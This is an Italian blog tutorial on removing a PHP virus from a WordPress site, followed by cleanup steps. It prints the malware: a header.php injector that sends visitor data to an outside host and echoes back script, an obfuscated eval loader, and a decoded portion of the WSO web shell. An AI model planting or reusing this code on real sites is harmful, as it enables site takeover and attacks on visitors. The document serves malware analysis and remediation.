Rimuovere WordPress PHP Virus

Questo tutorial presenta un caso particolare in cui un blog WordPress era infetto. Rimozione WordPress Virus PHP.

L'altro giorno ho notato un codice sospetto che sembra essere un virus PHP per WordPress. Il seguente codice PHP era presente nel file header.php, prima della riga </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Questo è un codice PHP che sembra stia tentando di recuperare il contenuto di una risorsa da un server esterno, ma la parte che fa riferimento all'URL è incompleta.

Il meccanismo di funzionamento è un po 'più complesso e fa questo WordPress PHP Virus invisibile ai visitatori dei siti interessati. Invece, prende di mira i motori di ricerca (Google) e porta implicitamente a una significativa diminuzione del numero di visitatori dei siti Web interessati.

Dettagli del malware WordPress PHP Virus

1. Il codice sopra è presente in header.php.

2. Un file è apparso sul server wp-log.php nella cartella wp-includes.

3. wp-log.php contiene un codice cifrato, ma che è relativamente facile da decifrare.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Decrittografa il codice malware da wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Questo sembra essere uno script PHP dannoso che contiene codice per gestire l'autenticazione e le azioni su file e directory su un server. Si può vedere molto facilmente che questo script contiene variabili come $auth_pass (password di autenticazione), $default_action (l'azione predefinita), $default_use_ajax (utilizzando Ajax per impostazione predefinita) e $default_charset (impostazione carattere predefinita).

Ovviamente, questo script ha una sezione che controlla gli user agent HTTP per bloccare l'accesso a determinati web bot, come i motori di ricerca. Ha anche una sezione che controlla la modalità di sicurezza PHP e imposta determinate directory di lavoro.

4. Se si accede a wp-log.php nel browser, viene visualizzata una pagina Web con un campo di autenticazione. A prima vista sembra essere un file manager attraverso il quale è possibile caricare facilmente nuovi file sul server di destinazione.

Come deviare un sito web WordPress?

Sempre, il processo di de-virus manuale prevede innanzitutto la scoperta e la comprensione di quale fosse la vulnerabilità.

1. Genera un backup per l'intero sito web. Questo deve includere sia i file che il database.

2. Determinare approssimativamente da quanto tempo è presente il virus e cercare nel server web i file modificati o appena creati entro il periodo di tempo approssimativo.

Ad esempio, se vuoi vedere i file .php creato o modificato nell'ultima settimana, eseguire il comando nel server:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

È un metodo semplice con cui puoi scoprire i file WordPress infetti e quelli contenenti codice malware.

3. Controllare il file .htaccess di direttive sospette. Righe di autorizzazione o esecuzione di script.

4. Controllare il database. È del tutto possibile che alcuni post e pagine WordPress essere modificati con malware o aggiunti di nuovi utenti con ruolo di administrator.

5. Controllare i permessi di scrittura per cartelle e file. chmod şi chown.

I permessi consigliati sono: 644 per i file e 755 per le directory.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Aggiorna tutto WordPress Plugins / WordPress Themes.

Correlato: Fix Redirect WordPress Hack 2023 (Virus di reindirizzamento)

Questi sono metodi "di base" con cui puoi devirusare un sito Web / blog WordPress. Se hai problemi e hai bisogno di aiuto, la sezione dei commenti è aperta.

Appassionato di tecnologia, scrivo con piacere su StealthSettings.com dal 2006. Ho un'ampia esperienza nei sistemi operativi: macOS, Windows e Linux, nonché nei linguaggi di programmazione e nelle piattaforme di blogging (WordPress) e per i negozi online (WooCommerce, Magento, PrestaShop).

Come » WordPress » Rimuovere WordPress PHP Virus
Lascia un tuo commento